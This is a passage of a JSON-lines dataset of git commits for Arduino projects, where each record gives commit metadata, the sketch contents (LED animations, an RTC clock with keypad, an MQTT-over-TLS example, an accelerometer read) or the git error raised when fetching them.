modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d1202f7669916cbe6f173e02bf53f1d762524f0f","subject":"Initalize arduino file","message":"Initalize arduino file\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_102\/arduino_102.ino","new_file":"arduino_102\/arduino_102.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2f6b1e4605b34d1d0fd07e07ffe0e0cc69691431","subject":"Fix NewPing hang issue in firmware","message":"Fix NewPing hang issue in firmware\n\nhttps:\/\/code.google.com\/p\/arduino-new-ping\/issues\/detail?id=5\n","repos":"qiwi\/parking","old_file":"arduino\/parking.ino","new_file":"arduino\/parking.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/qiwi\/parking.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"00100db850ec1abbf538e7f87f91b02f3934de8f","subject":"Create HelloWorld.ino","message":"Create HelloWorld.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/HelloWorld\/HelloWorld.ino","new_file":"examples\/HelloWorld\/HelloWorld.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n SCREEN.begin();\n}\n\nvoid loop() {\n SCREEN.showString(\"HELLO,WORLD.\"); \n SCREEN.showString(\"micro:bit!\"); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HelloWorld\/HelloWorld.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b5ce0fa319fea3722ec40306be012925f84a0a0","subject":"Copy FW to WearButton Arduino example","message":"Copy FW to WearButton Arduino example\n","repos":"Blinkinlabs\/BlinkyTape,Blinkinlabs\/BlinkyTape,Blinkinlabs\/BlinkyTape","old_file":"examples\/WearButton\/WearButton.ino","new_file":"examples\/WearButton\/WearButton.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define LED_COUNT 60\n#define THRESHOLD 1\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(LED_COUNT, 5, NEO_GRB + NEO_KHZ800);\n\nuint8_t pixel_index;\n\nlong last_time;\n\nvoid setup()\n{\n \/\/ Set the MOSI pin as digital output\n \/\/ (only for BB RevA)\n\/\/ DDRB |= _BV(2);\n \n Serial.begin(57600);\n\n strip.begin();\n strip.show();\n last_time = millis();\n}\n\n\n\nuint8_t i = 0;\nint j = 0;\nint f = 0;\nint k = 0;\n\nint count;\n\nvoid color_loop() { \n float brightness = random(100,100)\/100.0;\n \n for (uint8_t i = 0; i < LED_COUNT; i++) {\n uint8_t red = 64*(1+sin(i\/2.0 + j\/4.0 ))*brightness;\n uint8_t green = 64*(1+sin(i\/1.0 + f\/9.0 + 2.1))*brightness;\n uint8_t blue = 64*(1+sin(i\/3.0 + k\/14.0 + 4.2))*brightness;\n \n uint32_t pix = green;\n pix = (pix << 8) | red;\n pix = (pix << 8) | blue;\n \n strip.setPixelColor(i, pix);\n \n if ((millis() - last_time > 15) && pixel_index <= LED_COUNT + 1) {\n last_time = millis();\n count = LED_COUNT - pixel_index;\n pixel_index++; \n }\n \n for (int x = count; x >= 0; x--) {\n strip.setPixelColor(x, strip.Color(0,0,0));\n }\n \n }\n \n strip.show();\n \n j = j + random(1,2);\n f = f + random(1,2);\n k = k + random(1,2);\n}\n\nvoid serialLoop() {\n\n while(true) {\n\n if(Serial.available() > 2) {\n\n int buffer[3]; \/\/ Buffer to store three incoming bytes used to compile a single LED color\n int x;\n for (x=0; x<3; x++) { \/\/ Read three incoming bytes\n int c = Serial.read();\n if (c < 255) buffer[x] = c; \/\/ Using 255 as a latch semaphore\n else {\n strip.show();\n pixel_index = 0;\n break;\n }\n\n if (x == 2) { \/\/ If we received three serial bytes\n\n uint32_t color = strip.Color(buffer[0], buffer[1], buffer[2]);\n strip.setPixelColor(pixel_index, color);\n pixel_index++;\n\n }\n }\n }\n }\n}\n\nvoid loop()\n{\n \/\/ If'n we get some data, switch to passthrough mode\n if(Serial.available() > 0) {\n serialLoop();\n }\n \n color_loop();\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WearButton\/WearButton.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"db6757e6f7ac437674456a273b98985b2fba67a2","subject":"C\u00f3digo cliente para Light Blue Bean","message":"C\u00f3digo cliente para Light Blue Bean\n","repos":"jurasec\/LightBlueBeanDemo,jurasec\/LightBlueBeanDemo","old_file":"LBBean\/LBBean.ino","new_file":"LBBean\/LBBean.ino","new_contents":"\/* \n This sketch reads the ambient temperature from the Bean's on-board temperature sensor. \n \n The temperature readings are sent over serial and can be accessed in Arduino's Serial Monitor.\n \n To use the Serial Monitor, set Arduino's serial port to \"\/tmp\/tty.LightBlue-Bean\" \n and the Bean as \"Virtual Serial\" in the OS X Bean Loader.\n \n This example code is in the public domain.\n*\/\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup() {\n \/\/ Bean Serial is at a fixed baud rate. Changing the value in Serial.begin() has no effect.\n Serial.begin(57600);\n inputString.reserve(10);\n \/\/inputString = \">> \";\n}\nvoid loop() {\n \/\/ Get the current ambient temperature in degrees Celsius with a range of -40 C to 87 C.\n \/\/int temperature = Bean.getTemperature();\n \n \/\/Serial.print(\"Temperature: \");\n \/\/Serial.print(temperature);\n \/\/Serial.println(\" C\");\n \/\/Bean.sleep(3000);\n serialEvent();\n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n Serial.print(\"Arduino output: \");\n Serial.println(inputString);\n \/*Serial.println(inputString.toInt());\n Serial.println(\"...........................\");\n Serial.println(inputString.toInt() == 1);\n Serial.println(inputString.toInt() == 0);\n Serial.println(\"...........................\");\n *\/\n if ( inputString.toInt() == 1 ){\n Bean.setLed(255, 0, 0);\n Bean.sleep(1000); \n }else if ( inputString.toInt() == 0 ){\n Bean.setLed(0, 0, 0);\n Bean.sleep(1000);\n }\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \n}\n\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LBBean\/LBBean.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1740a6e1109ef9e78f45d6bac7c904dc1f31a3e4","subject":"ArduinoCodeROD","message":"ArduinoCodeROD","repos":"dpvdberg\/HelpingHandRobot,dpvdberg\/HelpingHandRobot,dpvdberg\/HelpingHandRobot","old_file":"ROD.ino","new_file":"ROD.ino","new_contents":"#define FORWARD 0\n#define BACK 1\n#define LEFTTIGHT 2\n#define RIGHTIGHT 3\n#define LEFT 4\n#define RIGHT 5\nvoid drive(int direction,int speed)\n{\n \n}\n\/\/ motor one\nint enA = 10;\nint in1 = 9;\nint in2 = 8;\n\/\/ motor two\nint enB = 5;\nint in3 = 7;\nint in4 = 6;\nvoid setup() {\n \/\/ set all the motor control pins to outputs\n pinMode(enA, OUTPUT);\n pinMode(enB, OUTPUT);\n pinMode(in1, OUTPUT);\n pinMode(in2, OUTPUT);\n pinMode(in3, OUTPUT);\n pinMode(in4, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ROD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b151ce68bef54296e4361c82ca857e953db1624","subject":"add draw pixels","message":"add draw pixels\n","repos":"daniel3514\/Adafruit-GFX-Library,daniel3514\/Adafruit-GFX-Library","old_file":"Examples\/Graphic functions Tests\/graphicstest\/graphicstest.ino","new_file":"Examples\/Graphic functions Tests\/graphicstest\/graphicstest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/Graphic' did not match any file(s) known to git\nerror: pathspec 'functions' did not match any file(s) known to git\nerror: pathspec 'Tests\/graphicstest\/graphicstest.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"5252105f19b34a502262adb62c312d1d9ae07640","subject":"Add Shoulder, Elbow, and Grip to LCD-Joysticks","message":"Add Shoulder, Elbow, and Grip to LCD-Joysticks\n\nMake accelerated movement less extreme\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"LCD-Joysticks\/LCD-Joysticks.ino","new_file":"LCD-Joysticks\/LCD-Joysticks.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6c99403abe638bd2bb556bd5a317957de6f883c7","subject":"Adicionando exemplos","message":"Adicionando exemplos\n","repos":"ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius","old_file":"examples\/teste_envio_ir\/teste_envio_ir.ino","new_file":"examples\/teste_envio_ir\/teste_envio_ir.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ciandt-dev\/garage-kelvin-celsius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"982ac9ae1f88d693292905e2411d541054738089","subject":"First version of Countdown","message":"First version of Countdown\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"countdown\/countdown.ino","new_file":"countdown\/countdown.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"83bf71a9be6f194787c8ebf409103ba51f8b5178","subject":"robot cannot move fine. maybe no battery","message":"robot cannot move fine. maybe no battery\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6a7c32f9aea1437839a495fd8ad079bd1aa6800f","subject":"Project Time with keypad 4x4 - Time 2","message":"Project Time with keypad 4x4 - Time 2\n","repos":"aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook","old_file":"time2\/time2.ino","new_file":"time2\/time2.ino","new_contents":"\/*\n Time 2\n Time and date on lcd display (used rtc timer) with control by keypad 4x4\n\n Hardware:\n Trickle-Charge Timekeeping Chip DS1302\n http:\/\/www.maximintegrated.com\/en\/products\/digital\/real-time-clocks\/DS1302.html\n http:\/\/playground.arduino.cc\/Main\/DS1302\n LCD I2C PCF8574\n http:\/\/habrahabr.ru\/post\/219137\/\n http:\/\/arduino-info.wikispaces.com\/file\/detail\/LiquidCrystal_I2C1602V1.zip\/341635514\n Keypad 4x4\n\n created 18.01.2015\n by Fust Vitaliy\n with Arduino 1.5.8 (tested on Arduino Uno)\n*\/\n\/*\nSketch uses 7 374 bytes (22%) of program storage space. Maximum is 32 256 bytes.\nGlobal variables use 460 bytes (22%) of dynamic memory, leaving 1 588 bytes for local variables. Maximum is 2 048 bytes.\n*\/\n\n#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\nLiquidCrystal_I2C lcd(0x27, 16, 2);\n\n\n#include <Keypad.h>\nconst byte numRows = 4;\nconst byte numCols = 4;\nchar keymap[numRows][numCols] =\n{\n {'1', '2', '3', 'A'},\n {'4', '5', '6', 'B'},\n {'7', '8', '9', 'C'},\n {'*', '0', '#', 'D'}\n};\n\/\/Code that shows the the keypad connections to the arduino terminals\nbyte rowPins[numRows] = {5, 4, 3, 2}; \/\/Rows 0 to 3\nbyte colPins[numCols] = {9, 8, 7, 6}; \/\/Columns 0 to 3\nKeypad myKeypad = Keypad(makeKeymap(keymap), rowPins, colPins, numRows, numCols);\n\n\n#define DS1302_SCLK_PIN 11 \/\/ Arduino pin for the Serial Clock\n#define DS1302_IO_PIN 12 \/\/ Arduino pin for the Data I\/O\n#define DS1302_CE_PIN 13 \/\/ Arduino pin for the Chip Enable\n#define bcd2bin(h,l) (((h)*10) + (l))\n#define bin2bcd_h(x) ((x)\/10)\n#define bin2bcd_l(x) ((x)%10)\n#define DS1302_SECONDS 0x80\n#define DS1302_MINUTES 0x82\n#define DS1302_HOURS 0x84\n#define DS1302_DATE 0x86\n#define DS1302_MONTH 0x88\n#define DS1302_DAY 0x8A\n#define DS1302_YEAR 0x8C\n#define DS1302_ENABLE 0x8E\n#define DS1302_TRICKLE 0x90\n#define DS1302_CLOCK_BURST 0xBE\n#define DS1302_CLOCK_BURST_WRITE 0xBE\n#define DS1302_CLOCK_BURST_READ 0xBF\n#define DS1302_RAMSTART 0xC0\n#define DS1302_RAMEND 0xFC\n#define DS1302_RAM_BURST 0xFE\n#define DS1302_RAM_BURST_WRITE 0xFE\n#define DS1302_RAM_BURST_READ 0xFF\n#define DS1302_D0 0\n#define DS1302_D1 1\n#define DS1302_D2 2\n#define DS1302_D3 3\n#define DS1302_D4 4\n#define DS1302_D5 5\n#define DS1302_D6 6\n#define DS1302_D7 7\n#define DS1302_READBIT DS1302_D0\n#define DS1302_RC DS1302_D6\n#define DS1302_CH DS1302_D7\n#define DS1302_AM_PM DS1302_D5\n#define DS1302_12_24 DS1302_D7\n#define DS1302_WP DS1302_D7\n#define DS1302_ROUT0 DS1302_D0\n#define DS1302_ROUT1 DS1302_D1\n#define DS1302_DS0 DS1302_D2\n#define DS1302_DS1 DS1302_D2\n#define DS1302_TCS0 DS1302_D4\n#define DS1302_TCS1 DS1302_D5\n#define DS1302_TCS2 DS1302_D6\n#define DS1302_TCS3 DS1302_D7\ntypedef struct ds1302_struct{uint8_t Seconds:4;uint8_t Seconds10:3;uint8_t CH:1;uint8_t Minutes:4;uint8_t Minutes10:3;uint8_t reserved1:1;union{struct{uint8_t Hour:4;uint8_t Hour10:2;uint8_t reserved2:1;uint8_t hour_12_24:1;}h24;struct{uint8_t Hour:4;uint8_t Hour10:1;uint8_t AM_PM:1;uint8_t reserved2:1;uint8_t hour_12_24:1;}h12;};uint8_t Date:4;uint8_t Date10:2;uint8_t reserved3:2;uint8_t Month:4;uint8_t Month10:1;uint8_t reserved4:3;uint8_t Day:3;uint8_t reserved5:5;uint8_t Year:4;uint8_t Year10:4;uint8_t reserved6:7;uint8_t WP:1;};void DS1302_clock_burst_read( uint8_t *p){int i;_DS1302_start();_DS1302_togglewrite( DS1302_CLOCK_BURST_READ, true);for( i=0; i<8; i++){*p++ = _DS1302_toggleread();}_DS1302_stop();}void DS1302_clock_burst_write( uint8_t *p){int i;_DS1302_start();_DS1302_togglewrite( DS1302_CLOCK_BURST_WRITE, false);for( i=0; i<8; i++){_DS1302_togglewrite( *p++, false);}_DS1302_stop();}uint8_t DS1302_read(int address){uint8_t data;bitSet( address, DS1302_READBIT);_DS1302_start();_DS1302_togglewrite( address, true);data = _DS1302_toggleread();_DS1302_stop();return (data);}void DS1302_write( int address, uint8_t data){bitClear( address, DS1302_READBIT);_DS1302_start();_DS1302_togglewrite( address, false);_DS1302_togglewrite( data, false);_DS1302_stop();}void _DS1302_start( void){digitalWrite( DS1302_CE_PIN, LOW);pinMode( DS1302_CE_PIN, OUTPUT);digitalWrite( DS1302_SCLK_PIN, LOW);pinMode( DS1302_SCLK_PIN, OUTPUT);pinMode( DS1302_IO_PIN, OUTPUT);digitalWrite( DS1302_CE_PIN, HIGH);delayMicroseconds( 4);}void _DS1302_stop(void){digitalWrite( DS1302_CE_PIN, LOW);delayMicroseconds( 4);}uint8_t _DS1302_toggleread( void){uint8_t i, data;data = 0;for( i = 0; i <= 7; i++){digitalWrite( DS1302_SCLK_PIN, HIGH);delayMicroseconds( 1);digitalWrite( DS1302_SCLK_PIN, LOW);delayMicroseconds( 1);bitWrite( data, i, digitalRead( DS1302_IO_PIN));}return( data);}void _DS1302_togglewrite( uint8_t data, uint8_t release){int i;for( i = 0; i <= 7; i++){digitalWrite( DS1302_IO_PIN, bitRead(data, i));delayMicroseconds( 1);digitalWrite( DS1302_SCLK_PIN, HIGH);delayMicroseconds( 1);if( release && i == 7){pinMode( DS1302_IO_PIN, INPUT);}else{digitalWrite( DS1302_SCLK_PIN, LOW);delayMicroseconds( 1);}}}void ds1302_init(){DS1302_write (DS1302_ENABLE, 0);DS1302_write (DS1302_TRICKLE, 0x00);}ds1302_struct rtc;\n\nvoid setup() {\n lcd.init();\n lcd.backlight();\n lcd.print(\" Hello! \");\n\n ds1302_init();\n \n delay(1500);\n}\n\nunsigned long int cur_sec = 0;\n\nvoid loop() {\n DS1302_clock_burst_read( (uint8_t *) &rtc);\n\n char buffer[16];\n\n sprintf(buffer, \" %02d:%02d:%02d \",\n bcd2bin( rtc.h24.Hour10, rtc.h24.Hour),\n bcd2bin( rtc.Minutes10, rtc.Minutes),\n bcd2bin( rtc.Seconds10, rtc.Seconds));\n lcd.setCursor(0, 0);\n lcd.print(buffer);\n\n sprintf(buffer, \" %02d.%02d.%04d \",\n bcd2bin( rtc.Date10, rtc.Date),\n bcd2bin( rtc.Month10, rtc.Month),\n 2000 + bcd2bin( rtc.Year10, rtc.Year));\n lcd.setCursor(0, 1);\n lcd.print(buffer);\n \n if(millis() - cur_sec > 1000){\n cur_sec = millis();\n lcd.setCursor(15, 0);\n lcd.print(' '); \n }\n\n char keypressed = myKeypad.getKey();\n if(keypressed != NO_KEY){\n cur_sec = millis();\n lcd.setCursor(15, 0);\n lcd.print(keypressed);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'time2\/time2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ab8de5975741d9a2bd683d41a6a674f13f5ec7d5","subject":"modified example comment","message":"modified example comment\n","repos":"kerr-hf\/arduino-L6470","old_file":"examples\/MotorTest\/MotorTest.ino","new_file":"examples\/MotorTest\/MotorTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kerr-hf\/arduino-L6470.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d1393bf819eac92791c74f156fe66152306c928c","subject":"ADDING OPMODE=OFF","message":"ADDING OPMODE=OFF\n","repos":"JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud","old_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulioOrdonezV\/pvcloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"610514e83bfdd15b6044f5893d71be2a1aa46839","subject":"add PyPortal MQTTS Example","message":"add PyPortal MQTTS Example\n","repos":"adafruit\/Adafruit_MQTT_Library","old_file":"examples\/adafruitio_secure_pyportal\/adafruitio_secure_pyportal.ino","new_file":"examples\/adafruitio_secure_pyportal\/adafruitio_secure_pyportal.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library PyPortal Adafruit IO SSL\/TLS Example\n\n Must use the latest version of nina-fw from:\n https:\/\/github.com\/adafruit\/nina-fw\n\n Adafruit PyPortal: https:\/\/www.adafruit.com\/product\/4116\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Brent Rubell for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <WiFiNINA.h>\n#include <SPI.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"WLAN_SSID\"\n#define WLAN_PASS \"WLAN_PASSWORD\"\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS;\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n\/\/ Using port 8883 for MQTTS\n#define AIO_SERVERPORT 8883\n\/\/ Adafruit IO Account Configuration\n\/\/ (to obtain these values, visit https:\/\/io.adafruit.com and click on Active Key)\n#define AIO_USERNAME \"YOUR_ADAFRUIT_IO_USERNAME\"\n#define AIO_KEY \"YOUR_ADAFRUIT_IO_KEY\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ WiFiSSLClient for SSL\/TLS support\nWiFiSSLClient client;\n\n\/\/ Setup the MQTT client class by WLAN_PASSing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, AIO_SERVER, AIO_SERVERPORT, AIO_USERNAME, AIO_KEY);\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'test' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nAdafruit_MQTT_Publish test = Adafruit_MQTT_Publish(&mqtt, AIO_USERNAME \"\/feeds\/test\");\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup()\n{\n \/\/Initialize serial and wait for port to open:\n Serial.begin(115200);\n while (!Serial)\n {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n \/\/ check for the WiFi module:\n if (WiFi.status() == WL_NO_MODULE)\n {\n Serial.println(\"Communication with WiFi module failed!\");\n \/\/ don't continue\n while (true)\n ;\n }\n\n String fv = WiFi.firmwareVersion();\n if (fv < \"1.0.0\")\n {\n Serial.println(\"Please upgrade the firmware\");\n }\n\n \/\/ attempt to connect to WiFi network:\n while (status != WL_CONNECTED)\n {\n Serial.print(\"Attempting to connect to WLAN_SSID: \");\n Serial.println(WLAN_SSID);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(WLAN_SSID, WLAN_PASS);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n Serial.println(\"Connected to wifi\");\n printWiFiStatus();\n}\n\nuint32_t x = 0;\n\nvoid loop()\n{\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending val \"));\n Serial.print(x);\n Serial.print(F(\" to test feed...\"));\n if (!test.publish(x++))\n {\n Serial.println(F(\"Failed\"));\n }\n else\n {\n Serial.println(F(\"OK!\"));\n }\n\n \/\/ wait a couple seconds to avoid rate limit\n delay(2000);\n}\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect()\n{\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected())\n {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0)\n { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0)\n {\n \/\/ basically die and wait for WDT to reset me\n while (1)\n ;\n }\n }\n\n Serial.println(\"MQTT Connected!\");\n}\n\nvoid printWiFiStatus()\n{\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your board's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/adafruitio_secure_pyportal\/adafruitio_secure_pyportal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d04b0c047011cdf3f6a02140d1c412b89265caff","subject":"Test for accelerometer on sensorboard.","message":"Test for accelerometer on sensorboard.\n","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs","old_file":"tinkering\/sensorboard\/ADXL362_SimpleRead\/ADXL362_SimpleRead.ino","new_file":"tinkering\/sensorboard\/ADXL362_SimpleRead\/ADXL362_SimpleRead.ino","new_contents":"\/*\n ADXL362_SimpleRead.ino - Simple XYZ axis reading example\n for Analog Devices ADXL362 - Micropower 3-axis accelerometer\n go to http:\/\/www.analog.com\/ADXL362 for datasheet\n \n \n License: CC BY-SA 3.0: Creative Commons Share-alike 3.0. Feel free \n to use and abuse this code however you'd like. If you find it useful\n please attribute, and SHARE-ALIKE!\n \n Created June 2012\n by Anne Mahaffey - hosted on http:\/\/annem.github.com\/ADXL362\n\n Modified May 2013\n by Jonathan Ruiz de Garibay\n \nConnect SCLK, MISO, MOSI, and CSB of ADXL362 to\nSCLK, MISO, MOSI, and DP 10 of Arduino \n(check http:\/\/arduino.cc\/en\/Reference\/SPI for details)\n \n*\/ \n\n#include <SPI.h>\n#include <ADXL362.h>\n\nADXL362 xl;\n\nint16_t temp;\nint16_t XValue, YValue, ZValue, Temperature;\n\nvoid setup(){\n \n Serial.begin(9600);\n xl.begin(10); \/\/ Setup SPI protocol, issue device soft reset\n xl.beginMeasure(); \/\/ Switch ADXL362 to measure mode \n\t\n Serial.println(\"Start Demo: Simple Read\");\n}\n\nvoid loop(){\n \n \/\/ read all three axis in burst to ensure all measurements correspond to same sample time\n xl.readXYZTData(XValue, YValue, ZValue, Temperature); \n Serial.print(\"XVALUE=\");\n Serial.print(XValue);\t \n Serial.print(\"\\tYVALUE=\");\n Serial.print(YValue);\t \n Serial.print(\"\\tZVALUE=\");\n Serial.print(ZValue);\t \n Serial.print(\"\\tTEMPERATURE=\");\n Serial.println(Temperature);\t \n delay(100); \/\/ Arbitrary delay to make serial monitor easier to observe\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tinkering\/sensorboard\/ADXL362_SimpleRead\/ADXL362_SimpleRead.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aba1d7345ecf904eeb62c8bf888202f84a909800","subject":"monday try","message":"monday try\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e11039ed87912d6e216663e48fe28fb61e3c718e","subject":"added backward function","message":"added backward function\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cd3691ab546ca83c93feffc734b298ea19948c15","subject":"particle firmware initial commit","message":"particle firmware initial commit\n","repos":"anamklone\/ENGR1050,anamklone\/ENGR1050,anamklone\/ENGR1050","old_file":"particle\/evcharging.ino","new_file":"particle\/evcharging.ino","new_contents":"\/\/ ----------------------------------------------------------\n\/\/ Firmware for Particle Electron connected to EV charger\n\/\/ ----------------------------------------------------------\n\nvoid setup() {\n \/\/ Declare a Particle.function to trigger new charging session request\n 